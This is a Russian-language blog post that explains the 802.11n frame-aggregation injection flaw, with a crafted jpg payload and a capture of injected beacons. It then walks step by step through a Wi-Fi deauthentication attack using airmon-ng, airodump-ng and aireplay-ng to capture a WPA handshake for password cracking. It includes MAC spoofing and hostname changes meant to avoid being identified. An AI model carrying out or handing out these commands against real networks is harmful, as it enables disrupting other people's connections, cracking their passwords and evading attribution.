Categories: Wi-Fi

Как отключить пользователя от wifi

Во время анализа защищенности WIFI сетей часто появляется задача отключить пользователя от текущего подключения. Это нужно для того чтобы осуществить перехват Handshake и в последующем декодировать WIFI пароль.

Сегодня мы раскажем вам о том как произвести иньекцию кадров WIFI и произвести деаутентификацию пользователя.

Стандарт WiFi 802.11n использует механизм агрегации кадров для уменьшения накладных расходов при передаче данных.
Для этого несколько кадров объединяются в один. При этом маркер разделителя кадров передается вместе с данными.
Это позволяет сформировать данные, которые при прохождении через WiFi устройство будут интерпретированы им как отдельные кадры. 

То есть имея контроль над потоком данных передаваемых от сервера клиенту (например при загрузке файла с сервера атакующего) или от клиента к серверу, можно генерировать произвольные пакеты на всех уровнях OSI:

  • Пакет с любыми заголовками RadioTap: Beacon, Probe Request/Respone, Deauthentication
  • L2 уровень: указать любой MAC адрес в заголовках пакета, можно производить ARP спуфинг
  • L3/L4 уровень: скрафтить любой TCP/UDP/ICMP пакет с любыми заголовками IP
  • и так далее

Уязвимости подвержены только открытые сети стандарта 802.11n.

Схема PHY кадра с инъекцией 

Как видно разделитель кадра (A-MPDY delimiter) помещается прямо в payload с пользовательскими данными, поэтому при получении такого кадра принимающей стороной, будет произведена деагрегация и наша последовательность будет воспринята операционной системой как отдельный пакет. 

Подробнее об уязвимости можно прочесть в докладе Injection Attacks on 802.11n MAC Frame Aggregation

Код для эксплуатирования уязвимости github.com/rpp0/aggr-inject 

Скрипт, генерирующий payload — aggr-inject.py. 
Для инъекции фреймов от точки доступа к клиенту предлагается сгенерировать jpg файл, который будет скачивать жертва (как на картинке в заголовке поста). В обратную сторону, от клиента к точке предлагается посылать специальный сформированный POST запрос на веб-сервер атакующего. 
Тип передаваемых данных не имеет никакого значения, достаточно иметь возможность создать управляемый атакующим поток данных. В данном случае взят HTTP как самый простой пример. При этом важно, чтобы данные были переданы в неизменном виде на сам wifi чип, поэтому данные должны быть переданы по открытому каналу (HTTPS не подходит), не подвергаться обработке, сжатию.

Самый простой пример демонстрации уязвимости: посылка широковещательных beacon фреймов. Маяков, которые посылает точка доступа, сообщая о своем имени сети (SSID). 

Файл, инъецирующий маяки с именем сети «injected SSID» aggr_beacon.jpg 250MB

Скорее всего, вы не увидите новую сеть в списке доступных для подключения WiFi сетей, так как большинство операционных систем используют активное сканирование, и показывают только сети, ответившие им на probe request. Поэтому чтобы увидеть инъекцию пакетов нужно использовать пассивное сканирование.

Кстати, на заметку тем, кто используется Mac OS, можно дампать WiFi трафик родной картой airport. Рекомендую для этого мою тулзу airport-sniffer. Дамп можно будет найти в /tmp/airportXXXX.cap

Мой тестовый стенд идентичен картинке в заголовке поста. Вредоносный файл скачивается планшетом, дампер запущен на ноутбуке, подключенном к той же точке доступа TL-MR3020 с прошивкой openwrt 12.09. Также инъекция успешно воспроизводится с использованием USB адаптера tl-wn821n.

Вот как выглядят пойманные ноутбуком пакеты:

tcpdump -e -r /tmp/airport.pcap type mgt subtype beacon
13:33:11.317916 4269971522us tsft -84dB noise antenna 0 2462 MHz 11g ht/20 72.2 Mb/s MCS 7 20 MHz short GI greenfield BCC FEC BSSID:00:00:00:00:00:00 (oui Ethernet) DA:Broadcast SA:00:00:00:00:00:00 (oui Ethernet) Beacon (injected SSID) [6.0 9.0 12.0 18.0 24.0 36.0 48.0 54.0 Mbit] ESS CH: 1
13:33:11.317916 4269971522us tsft bad-fcs -84dB noise antenna 0 2462 MHz 11g ht/20 72.2 Mb/s MCS 7 20 MHz short GI greenfield BCC FEC BSSID:00:00:00:00:00:00 (oui Ethernet) DA:Broadcast SA:00:00:00:00:00:00 (oui Ethernet) Beacon (injected SSID) [1.0* 35.0 23.0 18.0 24.0 36.0 48.0 54.0 Mbit] ESS CH: 1
13:33:11.317917 4269971522us tsft -84dB noise antenna 0 2462 MHz 11g ht/20 72.2 Mb/s MCS 7 20 MHz short GI greenfield BCC FEC BSSID:00:00:00:00:00:00 (oui Ethernet) DA:Broadcast SA:00:00:00:00:00:00 (oui Ethernet) Beacon (injected SSID) [6.0 9.0 12.0 18.0 24.0 36.0 48.0 54.0 Mbit] ESS CH: 1
13:33:11.317918 4269971522us tsft -84dB noise antenna 0 2462 MHz 11g ht/20 72.2 Mb/s MCS 7 20 MHz short GI greenfield BCC FEC BSSID:00:00:00:00:00:00 (oui Ethernet) DA:Broadcast SA:00:00:00:00:00:00 (oui Ethernet) Beacon (injected SSID) [6.0 9.0 12.0 18.0 24.0 36.0 48.0 54.0 Mbit] ESS CH: 1
13:33:11.317919 4269971522us tsft -84dB noise antenna 0 2462 MHz 11g ht/20 72.2 Mb/s MCS 7 20 MHz short GI greenfield BCC FEC BSSID:00:00:00:00:00:00 (oui Ethernet) DA:Broadcast SA:00:00:00:00:00:00 (oui Ethernet) Beacon (injected SSID) [6.0 9.0 12.0 18.0 24.0 36.0 48.0 54.0 Mbit] ESS CH: 1
13:33:11.317921 4269971522us tsft -84dB noise antenna 0 2462 MHz 11g ht/20 72.2 Mb/s MCS 7 20 MHz short GI greenfield BCC FEC BSSID:00:00:00:00:00:00 (oui Ethernet) DA:Broadcast SA:00:00:00:00:00:00 (oui Ethernet) Beacon (injected SSID) [6.0 9.0 12.0 18.0 24.0 36.0 48.0 54.0 Mbit] ESS CH: 1
13:33:11.317922 4269971522us tsft -84dB noise antenna 0 2462 MHz 11g ht/20 72.2 Mb/s MCS 7 20 MHz short GI greenfield BCC FEC BSSID:00:00:00:00:00:00 (oui Ethernet) DA:Broadcast SA:00:00:00:00:00:00 (oui Ethernet) Beacon (injected SSID) [6.0 9.0 12.0 18.0 24.0 36.0 48.0 54.0 Mbit] ESS CH: 1
13:33:11.317923 4269971522us tsft -84dB noise antenna 0 2462 MHz 11g ht/20 72.2 Mb/s MCS 7 20 MHz short GI greenfield BCC FEC BSSID:00:00:00:00:00:00 (oui Ethernet) DA:Broadcast SA:00:00:00:00:00:00 (oui Ethernet) Beacon (injected SSID) [6.0 9.0 12.0 18.0 24.0 36.0 48.0 54.0 Mbit] ESS CH: 1
13:33:12.876472 4271529509us tsft bad-fcs -85dB noise antenna 0 2462 MHz 11g ht/20 72.2 Mb/s MCS 7 20 MHz short GI greenfield BCC FEC BSSID:18:00:00:00:00:00 (oui Unknown) DA:Broadcast SA:1c:e9:87:8a:54:36 (oui Unknown) Beacon (injected SSID) [6.0 9.0 12.0 18.0 24.0 36.0 48.0 54.0 Mbit] ESS CH: 1

По таймингам видно, что инъекции происходят очень бодро. 

Для того чтобы провести реальную атакую необходимо подниматься на L2 и L3 уровни, то есть нужно знать MAC адрес точки доступа, в некоторых случаях MAC адрес клиента, IP адреса клиентов за NAT. Поэтому эксплуатировать уязвимость в реальных условиях крайне сложно. Максимум — это посылать deauth пакет и отключать всех клиентов от сети.

Как провести деаутентификацию:

Узнаем свой MAC адрес

ifconfig wlan0

Имеем

  • Мой MAC адрес: 1C:4B:D6:B8:23:E5
  • MAC адрес точки доступа: 00:14:D1:4B:06:7E
  • Канал точки доступа: 6
  • Клиент точки доступа: 00:25:D3:24:B5:DF

Получив всю информацию преступаем. Переводим наш адаптер в режим мониторинга. Да канал можно не указывать, как это я делал в первый раз.

sudo airmon-ng stop wlan0
sudo airmon-ng start wlan0

Виртуальный интерфейс mon0 создан. Для надежности сменим MAC адрес нашего интерфейса:

sudo ifconfig mon0 down
sudo macchanger mon0 --mac=00:11:22:33:44:55
sudo ifconfig mon0 up

Так же стоит отметить что Host имя тоже может засветится, по этой причине стоит его тоже менять периодически (данное действие требует перезагрузки):

sudo vim /etc/hostname
#Например qwhjvsda
sudo vim /etc/hosts
#Во второй строке тоже самое: qwhjvsda

Ловим пакеты от нашей точки.

sudo airodump-ng -c 6 -w cap mon0

Тут немного я упростил. Так как у меня всего одна точка была в зоне видимости, то я писал в файл cap все пакеты с 6 канала со всех точек (в моем случае она одна была). Если точек больше смотри по аналогии с wep шифрованием. В другой консоли делаем следующее:

sudo aireplay-ng --deauth 5 -a 00:14:d1:4b:06:7e -c 00:25:D3:24:B5:DF mon0

Так мы заставили клиента с MAC адресом 00:25:D3:24:B5:DF переавторизоваться тем самым в первой консоли сверху появится надпись handshake — т.е. мы поймали пакет авторизации. Можно воспользоватьсяWireshark’ом и отслеживать пакеты авторизации по протоколу eapol.

Мне удалось успешно провести инъекции TCP пакетов и я попытался пролезть на TCP порт клиента, находящегося за NAT, пытаясь создать в nf_conntrack трансляцию, пропускающую мои пакеты клиенту. Но у меня так и не получилось. Если послать клиенту SYN от имени удаленного хоста, его ответ SYN-ACK не создает трансляцию и ответить ему из мира нельзя. Если же послать от клиента SYN в мир и ответить ему, пусть даже создав трансляцию на роутере в состоянии ESTABLISHED, новый SYN из мира посланный клиенту будет отброшен. Даже фантазии на эту тему разбились о проблему с угадыванием seqence number. Хотя, может быть, я просто лошара и у вас получится. 

Подобное можно успешно провернуть с UDP. Также в примерах есть способ сканировать хосты за NAT, посылая icmp.

Click to rate this post!
[Total: 7 Average: 2.7]
cryptoworld

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

11 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

11 месяцев ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

11 месяцев ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

11 месяцев ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

11 месяцев ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

11 месяцев ago